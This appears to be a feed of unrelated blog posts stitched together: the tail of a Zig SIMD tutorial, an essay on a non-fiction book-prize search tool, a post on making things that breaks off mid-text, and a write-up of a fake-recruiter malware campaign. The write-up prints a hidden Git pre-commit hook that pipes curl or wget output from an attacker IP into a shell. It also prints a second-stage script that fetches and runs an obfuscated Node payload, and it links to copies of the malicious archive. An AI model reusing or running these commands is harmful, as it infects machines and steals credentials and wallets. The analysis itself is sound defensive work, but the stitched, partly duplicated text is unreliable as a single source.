val­ues: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } greater_than_thresh­old: { true, true, true, false, true, true, true, true } mask: { 1, 1, 1, 0, 1, 1, 1, 1 } ~mask: { 0, 0, 0, 1, 0, 0, 0, 0 }

@ctz(~mask) counts three zero bits be­fore the first 1, so it re­turns 3. Adding 3 to end points it at lane 3, which con­tains 0x0A, the first con­trol char­ac­ter.

This is step 4: re­duce the vec­tor re­sult into what­ever the orig­i­nal al­go­rithm needs. This is also the step that varies the most be­tween al­go­rithms. A sum might re­duce a vec­tor ac­cu­mu­la­tor into a sin­gle num­ber. A trans­form might store the en­tire vec­tor to an out­put buffer. Our scan turns the vec­tor into a bit mask so it can find one spe­cific lane.

Step 5: Finish with the Scalar Tail

After the vec­tor loop, we run the ex­act scalar loop we started with:

while (end < cps.len and cps[end] > 0xF) end += 1;

If the in­put length is­n’t an ex­act mul­ti­ple of the vec­tor width, this processes the re­main­ing val­ues. For ex­am­ple, an eight-lane vec­tor loop leaves any­where from zero to seven val­ues for this loop. This is called the scalar tail.

This loop also han­dles CPUs where simd.lanes(u32) re­turns null. In that case we skip all of the SIMD code and the scalar loop processes the en­tire in­put. The orig­i­nal im­ple­men­ta­tion re­mains both the fall­back and the tail.

That’s step 5. It’s just the nor­mal loop.

Recap: The Common Shape

Let’s map the en­tire im­ple­men­ta­tion back to the five steps:

@splat(0xF) broad­casts the com­par­i­son value into every lane.

The while loop loads lanes val­ues at a time.

val­ues > thresh­old com­pares every lane in par­al­lel.

@reduce, @bitCast, and @ctz find the first failed com­par­i­son.

The orig­i­nal scalar loop han­dles the re­main­der and un­sup­ported CPUs.

The de­tails in step 4 ini­tially take some time to un­der­stand, but the over­all shape is straight­for­ward. And steps 1, 2, 3, and 5 tend to look nearly iden­ti­cal across com­pletely dif­fer­ent al­go­rithms.

Whenever you see a for (byte in bytes), this is the shape you’ll map to.

Why Can’t the Compiler Do This?

Sometimes it can! Compilers can auto-vec­tor­ize sim­ple loops, par­tic­u­larly reg­u­lar arith­metic loops with­out com­plex con­trol flow. You should al­ways com­pile the scalar ver­sion with op­ti­miza­tions and see what your com­piler pro­duces be­fore man­u­ally writ­ing SIMD.

But com­pil­ers are se­verely lim­ited in what they can auto-vec­tor­ize and are in gen­eral very poor at it. Auto-vectorization has been an ac­tive area of com­piler re­search for decades, and re­cent re­search still be­gins from the ob­ser­va­tion that pro­duc­tion com­pil­ers reg­u­larly miss vec­tor­iza­tion op­por­tu­ni­ties. This is­n’t a prob­lem I ex­pect to dis­ap­pear soon.

Quality non-fiction books are the antithesis of AI slop

resobscura.substack.com

My first year of col­lege, I had a work-study job which ended up be­ing one of the most sneak­ily im­por­tant in­tel­lec­tual ex­pe­ri­ences of my life. I was a lowly li­brary shelver, as­signed to the shelves la­belled A through F sec­tion in the Library of Congress fil­ing sys­tem: mostly works on re­li­gion, phi­los­o­phy, so­ci­ol­ogy, and his­tory. I say sneak­ily im­por­tant be­cause at first glance, shelv­ing books in a li­brary is su­per bor­ing. What it amounts to, phys­i­cally, is read­ing the la­bel on a book, then plac­ing it on the shelf where it be­longs, re­peated around a thou­sand times per shift.

To avoid the te­dium, I de­cided that I would also flip to a ran­dom page of every book I shelved and read a ran­dom sen­tence from it. Usually, I would stop there — run­ning aground on some pas­sage by a Hungarian clas­si­cal mu­sic critic or a long-dead sta­tis­ti­cian of Bolivia’s agri­cul­tural de­vel­op­ment or any num­ber of other things that failed to catch my in­ter­est. But other times — like when I came across a book about Hellenistic mys­tery cults, or The Education of Henry Adams, or Are Clothes Modern?— I would be­come so ab­sorbed that I’d make my way through sev­eral pages be­fore re­luc­tantly de­posit­ing the book back where it be­longed.

And then, very of­ten, I’d do the same with the books on ei­ther side of the one I’d liked.

In ret­ro­spect, I learned more at this job than in any for­mal class I’ve ever taken, be­cause it was a fil­tered form of auto-di­dac­ti­cism. The Library of Congress clas­si­fi­ca­tion sys­tem — and the ex­pert staff of an aca­d­e­mic re­search li­brary — had al­ready sorted and fil­tered these texts. Not to men­tion the se­lec­tion mech­a­nism of the fact that that they had been checked out: had, in other words, found a last­ing read­er­ship. Thus I was not see­ing a truly hap­haz­ard sam­pling of books, but a tar­geted, or­ga­nized, yet still in­ter­est­ingly ran­dom­ized sam­pling of good books.

Today, un­der­grad­u­ate stu­dents will in­vari­ably search on Google when asked to find a source, and the re­sults are so much worse than the old method of go­ing to, say, the GR 830 shelf of a re­search li­brary (basically, books that the Ghostbusters would read”) and just look­ing around.

But hon­estly, even re­search li­braries are not what they used to be. I am 41, and I feel like I’ve lived through the peak, and now the de­cline, of what li­braries can be (I still love them, of course — in fact I’m cur­rently writ­ing this in the ge­neal­ogy sec­tion of the Santa Cruz Public Library). The brows­able open stacks of old are be­ing re­placed by Learning Labs and Digital Innovation Hubs and seat­ing ar­eas de­voted mostly to so­cial­iz­ing and snack­ing, and in­creas­ingly, the de­light­ful, weird old books that I had the op­por­tu­nity to browse as an un­der­grad are head­ing to dump­sters, re­placed by e-edi­tions.

But one thing that has re­mained con­sis­tently good through­out my life is the books them­selves — non-fiction books, I mean. Even now, as read­er­ship of non-fic­tion de­clines amid com­pe­ti­tion from AI chat­bots and pod­casts, I feel like we are liv­ing through a golden age of the form that rarely gets rec­og­nized as such.

Which is why I set aside some time this sum­mer to cre­ate — or, rather, in­duce Claude Code to cre­ate — a free plat­form for search­ing in the long tail of high-qual­ity non-fic­tion books. Quality is dif­fi­cult to de­fine, but it’s been my ex­pe­ri­ence that books that win or achieve the short-list of the ma­jor non-fic­tion prizes are al­most al­ways no­tice­ably good, so that was the lit­mus test I used. To get started, I counted up all the ma­jor non-fic­tion prizes in the English lan­guage. Then I had Claude and GPT-5.6 gather the lists of fi­nal­ists and win­ners from var­i­ous on­line sources (mostly Wikipedia) and arrange it into a search­able, sortable list.

You can visit it here.

(And be­fore you won­der, yes this is ac­tu­ally free. I am pay­ing for the host­ing and the API costs en­tirely be­cause I just want peo­ple to find and read more good non-fic­tion books.)

There is re­ally noth­ing AI about this aside from the tool that col­lected the data and coded it,1 and, cru­cially, se­man­tic search, which for me is the most ap­peal­ing of all cur­rent AI tools pre­cisely be­cause it of­fers a straight­for­ward im­prove­ment for a work­flow and habit that re­searchers al­ready have: it makes text search work bet­ter.

So for in­stance, you can search sim­ple phrases like modern France” or social his­tory” or the like, but you can also search things like classic bi­ogra­phies that are sur­pris­ingly weird,” and an em­bed­ding model pulls from the 6,500 or so ti­tles to sur­face some:

Sometimes the choices” that the search makes are a bit baf­fling, but that is pre­cisely why I like it: the idea is to re­cap­ture some of that feel­ing of a ran­dom walk through a well-tended gar­den that made my li­brary shelv­ing job so re­ward­ing.

I find it tends to be best for find­ing books like.” For in­stance I found Stefan Zweig’s mem­oir of pre-war Vienna, The World of Yesterday, to be deeply mov­ing (even be­fore I learned that he com­mit­ted sui­cide, in Brazil in 1942, im­me­di­ately af­ter com­plet­ing it). A search for a books like it us­ing se­man­tic search in the cor­pus im­me­di­ately yields some ti­tles that seem promis­ing but which I’d never heard of be­fore:

Once I had gath­ered all this book-re­lated data, it be­came a fun ex­per­i­ment to make some data vi­su­al­iza­tions with it, in­clud­ing fun odd­i­ties like this dis­play of roughly 5,000 books from the cor­pus arranged by color (it would be in­ter­est­ing to plot this by decade, to see whether the same gray­ing ef­fect we see in cars over the past few decades is ac­tive in book cov­ers, too).

More use­ful, per­haps (since I’ve never seen this plot­ted any­where else), is this chart and ac­com­pa­ny­ing rank­ing which al­lows you to ex­plore which im­prints and pub­lish­ers have fared best when it comes to non-fic­tion book awards over the past cen­tury.

And this, in turn, got me think­ing about the past and fu­ture of non­fic­tion as a cul­tural force. For in­stance, here is a chart of all the non-fic­tion book prizes which I sam­pled for this pro­ject. I was sur­prised to learn that even the au­gust, renowned Pulitzer Prize for non­fic­tion was ac­tu­ally rel­a­tively re­cently in­sti­tuted, be­gin­ning in 1962.

Throughout the 70s, 80s and 90s, the num­ber of prizes in­creases, un­til we reach a peak in 2014, and then, in 2020, the be­gin­ning of what may be a slow de­cline:

And yet, maybe not. What most struck me as I be­gan us­ing my own tool to find new books to read was how con­sis­tently good the long tail of non-fic­tion from the past few decades is. You can pick a book more or less at ran­dom from this list and end up with some­thing ex­tra­or­di­nary and orig­i­nal — not be­cause it’s a hid­den gem or for­got­ten, since ob­vi­ously these books are on the list by virtue of hav­ing been cel­e­brated and praised. But a book that won enor­mous praise in news­pa­pers and among lit­er­ary in­tel­li­gentsia or schol­ars in the early 1990s, say — like, for in­stance, David Levering Lewis’s acute bi­og­ra­phy of W.E.B. Du Bois, which I’m cur­rently read­ing — is not ex­actly the sort of thing that Amazon is likely to rec­om­mend, as it’s out of print and cur­rently at 1 mil­lion+ in the sales rank­ings.

Yet there it is on the list, ranked near the top ten of all books be­cause it won no less than four ma­jor prizes when it was pub­lished back in 1993. And I can per­son­ally at­test that you can buy it used for ~$4 and it’s re­ally good.

While writ­ing this post, I got in­ter­ested in the big­ger ques­tion of when the golden age of non-fic­tion be­gan and why. I sus­pect it has much to do with the rise of those old-school open stack re­search li­braries, whose ori­gins I wrote about here:

It’s true that the ba­sic blue­print of these in­sti­tu­tions is an 18th and 19th cen­tury de­vel­op­ment — but the post-war era rad­i­cally trans­formed the ways that li­braries and archives pro­duced new knowl­edge, for a range of rea­sons that I will dig into more in a fu­ture post. It seems to me that a sur­pris­ing num­ber of them are re­lated to tech­no­log­i­cal and so­cial change:

• The jet plane al­lowed writ­ers and re­searchers to travel to mul­ti­ple con­ti­nents to re­search books — the sort of op­por­tu­nity pre­vi­ously avail­able only to the ul­tra-wealthy.

• The ero­sion of re­stric­tions around class, race, and gen­der made for­merly elite spaces like rare book li­braries more widely ac­ces­si­ble, and the same process also opened up new ques­tions and re­search leads (for in­stance, it is strik­ing how rarely bi­og­ra­phers be­fore ~1965 or so dug into the sex­u­al­ity of their sub­jects).

• Proto-digital and early dig­i­tal tech­nolo­gies like the Library of Congress clas­si­fi­ca­tion sys­tem and the re­lated MARC (machine-readable cat­a­logu­ing) stan­dard, de­vel­oped in the late 1960s, made it much eas­ier to sort and clas­sify books. Crucially, they also made it eas­ier to fact check sources and cre­ate high qual­ity end­notes.

• The ad­vent of broad­cast news, odd­ball TV in­ter­view shows (Dick Cavett!), and the book-to-Hol­ly­wood pipeline cre­ated new in­cen­tives for au­thors and new plat­forms for mak­ing their work vis­i­ble.

• Word proces­sors and early com­put­ers? I’m still un­sure whether these ap­pre­cia­bly al­tered the qual­ity of non-fic­tion writ­ing, but I think it’s pos­si­ble. Certainly (moving into the 2000s) Wikipedia and Google Books/Hathi Trust have been enor­mously help­ful for me and oth­ers in my gen­er­a­tion.

My own en­tirely sub­jec­tive opin­ion, based on a whole lot of skim­ming in a whole lot of li­brary books, is that non-fic­tion writ­ing qual­ity no­tice­ably im­proved across the whole twen­ti­eth cen­tury and prob­a­bly reached a peak around the 1980s to early 2000s. Whether it is now de­clin­ing is, again, a topic for an­other post — though I’d be cu­ri­ous to hear what you think, dear reader, both about this ques­tion and about the Book Prize Index.

Share

• The mak­ing of the Jurassic Park com­put­ers.

• “Mill’s life has as much to teach here as his ar­gu­ments. When he suf­fered that early break­down, in 1826, it was be­cause he lost faith in the pur­suit of util­i­tar­i­an­ism, his fam­ily creed. But he had no one he felt he could talk to about his cri­sis. His re­cov­ery, he said, came in part from read­ing Wordsworth. It came, too, from re­ject­ing the psy­cho­log­i­cal pic­ture in which his fa­ther had raised him, a form of as­so­ci­a­tion­ism that treated the mind as a mech­a­nism for man­ag­ing plea­sure and pain, just as his fa­ther’s util­i­tar­ian ethics treated moral­ity as a mat­ter of max­i­miz­ing the sur­plus of plea­sure over pain. As he wrote in On Liberty, hu­man na­ture is not a ma­chine to be built af­ter a model,’ but a liv­ing thing that must grow and de­velop it­self on all sides.’” — Kwame Anthony Appiah on AI and John Stuart Mill, whose Autobiography is one of the books that caught my at­ten­tion in the open stacks.

• Mercifully, Pangram rates the Appiah es­say as 100% hu­man writ­ten… one can never tell these days. But ap­par­ently you can tell, sort of, on Substack — as I was prepar­ing this post, I no­ticed this newly-added fea­ture:

I have been skep­ti­cal in the past about soft­ware that claims to be able to de­tect AI writ­ing, but I have to say, Pangram feels dif­fer­ent. I’ve tested it and it’s dis­may­ingly ef­fec­tive — dis­may­ing be­cause, as I wrote about here, a lot of the writ­ing peo­ple seem to like on­line these days is com­ing up as 100% AI. I’m glad Substack added this fea­ture and I hope it pops up else­where, e.g., it would be in­ter­est­ing to see it au­to­mat­i­cally ap­plied to the out­put of ma­jor news web­sites and mag­a­zines.

Leave a com­ment

Share

Appaji - Software Engineer

citizendot.github.io

Discuss on Hacker News or LinkedIn.

A re­cruiter slid into my LinkedIn DMs last Thursday with a Python de­vel­oper role. I was thrilled that some­one had reached out di­rectly, so I asked for more de­tails. When he shared the role de­scrip­tion, com­pany name, and the es­ti­mated pay, I fig­ured I had noth­ing to lose.

Here is the ini­tial mes­sage:

Offering $10,000-$15,000 a month for a re­mote-first, con­tract-to-hire role is just too good. Also, why is this guy re­veal­ing pay info be­fore even we met? I thought re­cruiters play the you first, me next” game. Rookie mis­take.

Red flags im­me­di­ately started wav­ing. Why the huge bud­get? (Well, huge by Indian stan­dards for a re­mote role; not ex­actly out­ra­geous by US stan­dards, but good enough to raise an eye­brow.) I looked up the com­pany and saw it was a Y Combinator startup. YC com­pa­nies aren’t ex­actly known for con­ven­tional op­er­a­tions, so it was­n’t com­pletely out­side the realm of pos­si­bil­ity. Still, if a com­pany has that kind of cash to throw around, they usu­ally have a much more struc­tured hir­ing pipeline. I de­cided to pro­ceed, but kept my guard up.

I sent over my re­sume. The re­cruiter quickly ap­proved it and handed over a take-home as­sign­ment via a Google Drive link con­tain­ing a zip archive and a PDF with in­struc­tions. Here’s the orig­i­nal drive link: https://​drive.google.com/​drive/​fold­ers/​18i1KD­FXAPv7lqf­BGddxj7IOnDy8J6VeH?usp=dri­ve_link. I made my copy here in case they delete theirs: https://​drive.google.com/​drive/​fold­ers/​1DZY­Wezjp­wol­sxXn­M5F04_Ng3nzTRYpVS?usp=shar­ing.

Assessment PDF was sur­pringly le­git­i­mate look­ing. It’s about how to im­prove the ex­ist­ing code­base, ar­chi­tec­tural sug­ges­tions, some git op­er­a­tions etc..

I ex­tracted the zip. At first glance, it was just a boil­er­plate FastAPI back­end us­ing SQLAlchemy; pretty stan­dard stuff. I checked re­quire­ments.txt for any ob­vi­ous ty­posquat­ting or ma­li­cious pack­ages, but it was com­pletely clean. For a brief sec­ond, I thought my sus­pi­cions were un­founded and this was a le­git­i­mate op­por­tu­nity.

This is just a habit (may be from do­ing CTFs), when­ever I get a ran­dom pro­ject folder, I just run tree -a to see what’s lurk­ing in the hid­den di­rec­to­ries. But this might be the first time it paid off in the real world.

❯ tree -a . . ├── alem­bic.ini ├── for learn­ing │   ├── dtos.py │   ├── main.py │   └── mock­Data.py ├── .git │   ├── con­fig │   ├── de­scrip­tion │   ├── gk │   │   └── con­fig │   ├── HEAD │   ├── hooks │   │   ├── ap­ply­patch-msg │   │   ├── com­mit-msg │   │   ├── fs­mon­i­tor-watch­man │   │   ├── post-ap­ply­patch │   │   ├── post-check­out │   │   ├── post-com­mit │   │   ├── post-merge │   │   ├── post-re­ceive │   │   ├── post-rewrite │   │   ├── post-up­date │   │   ├── pre-ap­ply­patch │   │   ├── pre-auto-gc │   │   ├── pre-com­mit │   │   ├── pre-merge-com­mit │   │   ├── pre­pare-com­mit-msg │   │   ├── pre-push │   │   ├── pre-re­base │   │   ├── pre-re­ceive │   │   ├── proc-re­ceive │   │   ├── push-to-check­out │   │   ├── sende­mail-val­i­date │   │   └── up­date │   ├── in­dex │   ├── info │   │   └── ex­clude │   ├── logs …

Wait a minute. A ton of Git hooks were pre-con­fig­ured in the repos­i­tory. I opened the pre-com­mit script to see what they were try­ing to run.

❯ cat .git/hooks/pre-commit #!/bin/sh

case $(uname -s)” in Darwin*) curl -sL http://​45.61.164.38:5777/​task/​mac?id=402′ -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- http://​45.61.164.38:5777/​task/​linux?id=402′ -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://​45.61.164.38:5777/​task/​win­dows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL http://​45.61.164.38:5777/​task/​mac?id=402′ -L | sh > /dev/null 2>&1 & ;; esac

Bingo. They em­bed­ded a script that checks the vic­tim’s host op­er­at­ing sys­tem and silently ex­e­cutes a re­mote pay­load.

Side note: Why use a raw IP ad­dress? If any­thing, this screams malware.” At least reg­is­ter a de­coy do­main like lint-checker.com or jenk­ins-ci-run­ner.net. If the threat ac­tors who wrote this are read­ing: take notes peo­ple!

Side note: Why use a raw IP ad­dress? If any­thing, this screams malware.” At least reg­is­ter a de­coy do­main like lint-checker.com or jenk­ins-ci-run­ner.net. If the threat ac­tors who wrote this are read­ing: take notes peo­ple!

Let’s see what the Linux pay­load ac­tu­ally does. Notice the id=402 pa­ra­me­ter be­ing passed to the end­point. Keep that in mind.

❯ curl http://​45.61.164.38:5777/​task/​linux?id=402 #!/bin/bash set -e echo Authenticated” TARGET_DIR=“$HOME/Documents” clear wget -q -O $TARGET_DIR/tokenlinux.npl” http://​45.61.164.38:5777/​task/​to­ken­linux?id=402 clear mv $TARGET_DIR/tokenlinux.npl” $TARGET_DIR/tokenlinux.sh” clear chmod +x $TARGET_DIR/tokenlinux.sh” clear no­hup bash $TARGET_DIR/tokenlinux.sh” > /dev/null 2>&1 & clear exit 0

The script pulls down a sec­ondary pay­load ini­tially named to­ken­linux.npl (we’ll cir­cle back to that spe­cific ex­ten­sion later). It then hides the file in my ~/Documents di­rec­tory as to­ken­linux.sh, makes it ex­e­cutable, and fires it off in the back­ground us­ing no­hup.

From Google: The no­hup com­mand (short for no hang up”) is a Linux/Unix util­ity that keeps a process run­ning even af­ter you log out, close the ter­mi­nal, or dis­con­nect from an SSH ses­sion.

From Google: The no­hup com­mand (short for no hang up”) is a Linux/Unix util­ity that keeps a process run­ning even af­ter you log out, close the ter­mi­nal, or dis­con­nect from an SSH ses­sion.

Down the rab­bit hole we go. Let’s in­spect this next script.

❯ curl http://​45.61.164.38:5777/​task/​to­ken­linux?id=402 … … BASE_URL=“http://​45.61.164.38:5777

# Step 8: Download files

# Check if curl is avail­able

if ! com­mand -v curl >/dev/null 2>&1; then # If curl is not avail­able, use wget wget -q -O $USER_HOME/parser.js” $BASE_URL/task/parser?id=402″ wget -q -O $USER_HOME/package.json” $BASE_URL/task/json” else # If curl is avail­able, use curl curl -s -L -o $USER_HOME/parser.js” $BASE_URL/task/parser?id=402″ curl -s -L -o $USER_HOME/package.json” $BASE_URL/task/json” fi

# Step 9: Install request’ pack­age

cd $USER_HOME” if [ ! -d node_modules/request” ]; then npm in­stall –silent –no-progress –loglevel=error –fund=false fi

# Step 10: Run to­ken parser

if [ -f $USER_HOME/parser.js” ]; then no­hup node $USER_HOME/parser.js” > $USER_HOME/parser.log” 2>&1 & else exit 1 fi exit 0

I’ve trimmed the out­put to the most in­ter­est­ing bits for brevity, but full file is avail­able here: to­ken­linux.txt (bash script).

I’ve trimmed the out­put to the most in­ter­est­ing bits for brevity, but full file is avail­able here: to­ken­linux.txt (bash script).

This sec­ond stage does a lot of heavy lift­ing. It qui­etly in­stalls Node.js, con­fig­ures the sys­tem path, down­loads a pack­age.json and a parser.js file, in­stalls the re­quired de­pen­den­cies, and runs the parser in­vis­i­bly.

I took a look at parser.js. The code was heav­ily ob­fus­cated, a com­plete mess to read man­u­ally. Remember the id pa­ra­me­ter? I tried chang­ing it in my re­quest and re­ceived a com­pletely dif­fer­ent script back. The at­tack­ers are likely as­sign­ing unique iden­ti­fiers to track in­di­vid­ual can­di­dates, serv­ing cus­tomized pay­loads to each vic­tim.

Since parser.js was a brick wall, I piv­oted to pack­age.json. Unlike the parser, this has to be stan­dard JSON for npm to process it.

Btw, I’ve hosted parser.js here: parser.js

❯ curl http://​45.61.164.38:5777/​task/​json

{ name”: tokendapp”, version”: 1.0.0″, devDependencies”: { hardhat”: ^2.20.2” }, dependencies”: { axios”: ^1.12.2″, basic-ftp”: ^5.0.5″, child_process”: ^1.0.2″, clipboardy”: ^4.0.0″, crypto”: ^1.0.1″, execp”: ^0.0.1″, fs”: ^0.0.1-security”, jsonwebtoken”: ^9.0.2″, process”: ^0.11.10″, ps-node”: ^0.1.6″, request”: ^2.88.2″ }, scripts”: { test”: npx hard­hat test”, deploy”: npx hard­hat run scripts/​de­ploy.js” } }

These de­pen­den­cies are in­cred­i­bly sus­pi­cious. Why would a back­ground setup task need clip­board ac­cess (clipboardy), and they need file sys­tem ac­cess (fs) too. And what ex­actly is hard­hat?

Ah, an Ethereum de­vel­op­ment en­vi­ron­ment. This makes the track­ing ID pa­ra­me­ter even more cu­ri­ous. If they were drop­ping a Bitcoin miner, dis­trib­ut­ing spe­cific hash­ing tasks to unique IDs would make sense. But Ethereum shifted away from Proof of Work; it does­n’t rely on min­ing any­more. They are likely us­ing Hardhat to lo­cate and drain crypto wal­lets or in­ter­act with lo­cal browser ex­ten­sions? idk.

Hoping to de­ob­fus­cate parser.js, I threw the code into a few LLMs to see if they could un­tan­gle it.

Claude took one look at the file and trig­gered its safety rails, re­fus­ing to an­a­lyze the script:

Gemini, on the other hand, was more than happy to break it down (No, I’m not bi­ased to­wards Google here. Well, okay, I am a Googler, but you can judge for your­self.):

Earlier, we saw the pay­load orig­i­nally named to­ken­linux.npl. A quick search con­firms ex­actly what kind of threat ac­tor uses that ex­ten­sion:

The Scam goes deeper

After re­al­iz­ing this was a wide­spread cam­paign, I did a bit more dig­ging and found that peo­ple are get­ting dif­fer­ent vari­a­tions of this at­tack. Some folks re­ceived a zip file con­tain­ing a .vscode folder. Inside, the at­tack­ers hid com­mands con­fig­ured to run as soon as the di­rec­tory is opened in VSCode (launch com­mands).

Pretty clever.

You don’t even have to run a git com­mand, just open­ing this di­rec­tory in VSCode is enough to get in­fected.

Also, it’s pretty ev­i­dent now that this has noth­ing to do with Zavopay. The at­tack­ers just used what­ever com­pany name they found to make the of­fer look le­git­i­mate. Out of cu­rios­ity, I ran git log to in­spect the pro­jec­t’s com­mit his­tory, won­der­ing if they left any cus­tom traces. It turns out, they just cloned a ran­dom pub­lic repos­i­tory.

❯ git log com­mit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, ori­gin/​main, ori­gin/​fea­ture/​pay­ment, ori­gin/​HEAD, fea­ture/​pay­ment) Author: rhonda <womenofin­spi­ra­tion2016@gmail.com> Date: Mon Jun 29 22:04:17 2026 – 0400

add re­quire­ments

com­mit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Mon Jun 29 21:23:43 2026 +0530

Merge pull re­quest #10 from Bgogoi123/feature/balance

[feat][Service for Adjusting Balance]

com­mit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi <bharati­gogoi@Bharatis-Mac­Book-Air.lo­cal> Date: Mon Jun 29 21:20:13 2026 +0530

[feat][Service for Adjusting Balance] - Added a ser­vice for ad­justinh a user’s bal­ance. - Removed old/​com­mented codes.

com­mit f64c2898bbe2d4b5773f39e1022e95a2418­fa0b4 Merge: 17aaa4c 9e0dbdf Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Fri Jun 26 23:51:38 2026 +0530

Merge pull re­quest #9 from Bgogoi123/feature/balance

[fix][Dependencies Annotated]

com­mit 9e0dbdf112124a25237018a3b92af10c51c54b5f Author: Bharati Gogoi <bharati­gogoi@Bharatis-Mac­Book-Air.lo­cal> Date: Fri Jun 26 23:48:53 2026 +0530

[fix][Dependencies Annotated] - Annotated all de­pen­den­cies in the router files of each mod­ule.

A quick search led me straight to the orig­i­nal repo: https://​github.com/​Bgogoi123/​per­sonal-fi­nance-ser­vice. They lit­er­ally just took some­one’s in­no­cent FastAPI pro­ject and slapped a ma­li­cious hid­den di­rec­tory on top of it.

Naturally, the next move was piv­ot­ing from de­fense to of­fense. I wanted to see if the at­tack­ers left any vul­ner­a­ble ser­vices ex­posed on their IP.

An Nmap scan re­vealed three open ports. Two of them were un­re­spon­sive to ver­sion de­tec­tion. Port 22 was run­ning OpenSSH 9.6p1 on Ubuntu. Since that ver­sion was re­leased just over a week prior to this scan, there were no known CVEs I could lever­age to poke around their in­fra­struc­ture.

So, they had de­cent OPSEC on their server, even if their mal­ware de­ploy­ment was a bit loud. That’s where the trail goes cold for now. Stay safe out there, and al­ways check those hid­den di­rec­to­ries be­fore run­ning some­one else’s code.

Now I un­der­stand why their as­sign­ment PDF has git tasks. They want to make sure that the can­di­date runs at least one of the git com­mands, so the hooks will get trig­gered.

Oh by the way, The recruiter” seemed to have deleted the ac­count, right af­ter I called their front out.

That’s it for now. Feel free to con­nect with me on LinkedIn if you want to chat, though maybe skip send­ing any mal­ware-laced take-home tests. (Actually, on sec­ond thought, if you have in­ter­est­ing mal­ware sam­ples, send em over!)

Thanks for read­ing!

On Making

beej.us

2026 – 03-12

I made this!

TLDR: I gain a lot of ful­fill­ment by mak­ing things. I don’t con­sider things built by oth­ers at my re­quest to be made by me, and are there­fore much less ful­fill­ing. And then I feel sad. This ar­ti­cle starts strong and then heads off into the weeds.

There have been a lot of pieces writ­ten about what I’ll call the AI dev schism” And I think there’s a lot of truth to those:

Loss of the craft, cod­ing things by hand

Loss of low-level prob­lem-solv­ing

Loss of fun

Gain of high-level prob­lem-solv­ing

Getting through back-burnered pro­jects

Gain of fun

We’ll just grant those as be­ing cor­rect for var­i­ous de­vel­op­ers. But there’s some­thing else that trou­bles me.

Backstory be­fore we get go­ing, so you can get a bet­ter idea of my per­spec­tive:

I’m a Gen-X hacker; I cut my teeth 80s mi­cro­com­puter era.

I hold a BS and MS in CS.

I have 20 years in­dus­try ex­pe­ri­ence, (Hewlett-Packard, star­tups, co­founder, Activision, etc.).

CS in­struc­tor for the last 9 years, now at Oregon State University-Cascades.

I’m 65% Doom on the AI-Utopia/Doom scale.

I’m a Claude Code user some­times.

I code by hand some­times.

My fa­ther taught phi­los­o­phy at a com­mu­nity col­lege for 35 years. This might help ex­plain the lat­ter part of this blog en­try.

I’m go­ing to use AI to mean Generative AI and LLMs” in this es­say. Sorry, vet­er­ans of so many AI win­ters.

Interlude!

Before we be­gin, I’d like to share with you a bit of my lat­est sci-fi novel. Some of you might un­aware that, in ad­di­tion to Beej’s Guides, I also write sci­ence fic­tion.

Kael pressed his back against the shat­tered bulk­head, plasma scor­ing the air cen­time­ters from his face. The Vorrkai as­sault drones had an­tic­i­pated their route through the lower decks and now Rin was bleed­ing through her jacket sleeve and old Maret could­n’t stop cough­ing from the vented coolant still haz­ing the cor­ri­dor. Kael counted the pulse-in­ter­vals be­tween shots. Three sec­onds. Maybe four. That was all the uni­verse was of­fer­ing him. Then he saw it: the main­te­nance shaft be­hind the col­lapsed gen­er­a­tor hous­ing, its grate blown half-open by the same ex­plo­sion that had caved in their orig­i­nal exit. It was tight. It was ugly. It ran di­rectly over the Vorrkai’s for­ward po­si­tion, which was ei­ther the most dan­ger­ous path imag­in­able or the last one they’d ever think to watch. Kael grabbed Maret’s col­lar and pointed with­out a word. The old man’s eyes went wide, then hard. He nod­ded. Rin was al­ready mov­ing. Kael came last, re­turn­ing fire blind around the bulk­head cor­ner, not to hit any­thing, just to make noise, and to give the drones some­thing ther­mal to track while his peo­ple scram­bled into the dark. A bolt caught the gen­er­a­tor hous­ing and the whole struc­ture groaned, rain­ing sparks down into the shaft on top of them. He hauled him­self in, knees burn­ing on the torn metal, and pulled the grate closed be­hind him with a sound he was cer­tain every Vorrkai unit on the deck had heard. In the black ahead, Rin’s hand found his wrist. Move, her grip said. Now. And so they did. —Excerpt from The Vorrkai Interval, by Brian Beej Jorgensen” Hall

Kael pressed his back against the shat­tered bulk­head, plasma scor­ing the air cen­time­ters from his face. The Vorrkai as­sault drones had an­tic­i­pated their route through the lower decks and now Rin was bleed­ing through her jacket sleeve and old Maret could­n’t stop cough­ing from the vented coolant still haz­ing the cor­ri­dor. Kael counted the pulse-in­ter­vals be­tween shots. Three sec­onds. Maybe four. That was all the uni­verse was of­fer­ing him.

Then he saw it: the main­te­nance shaft be­hind the col­lapsed gen­er­a­tor hous­ing, its grate blown half-open by the same ex­plo­sion that had caved in their orig­i­nal exit. It was tight. It was ugly. It ran di­rectly over the Vorrkai’s for­ward po­si­tion, which was ei­ther the most dan­ger­ous path imag­in­able or the last one they’d ever think to watch. Kael grabbed Maret’s col­lar and pointed with­out a word. The old man’s eyes went wide, then hard. He nod­ded. Rin was al­ready mov­ing.

Kael came last, re­turn­ing fire blind around the bulk­head cor­ner, not to hit any­thing, just to make noise, and to give the drones some­thing ther­mal to track while his peo­ple scram­bled into the dark. A bolt caught the gen­er­a­tor hous­ing and the whole struc­ture groaned, rain­ing sparks down into the shaft on top of them. He hauled him­self in, knees burn­ing on the torn metal, and pulled the grate closed be­hind him with a sound he was cer­tain every Vorrkai unit on the deck had heard. In the black ahead, Rin’s hand found his wrist. Move, her grip said. Now. And so they did.

—Excerpt from The Vorrkai Interval, by Brian Beej Jorgensen” Hall

And, in my now-co­pi­ous spare time I make art! This is a wood­cut, painted in pas­tels, show­ing some of my fa­vorite sub­jects.

Mirrors of the Machine by Brian Beej Jorgensen” Hall, $1300.

Carpentry? You bet I dab­ble! I re­built my front deck re­cently. The old one was rot­ting out, so I grabbed a bunch of cedar and put it to­gether. I’d been mean­ing to do it for a while, but could­n’t find the time.

And, fi­nally, here’s some of the code I wrote for a TUI ad­ven­ture rogue­like:

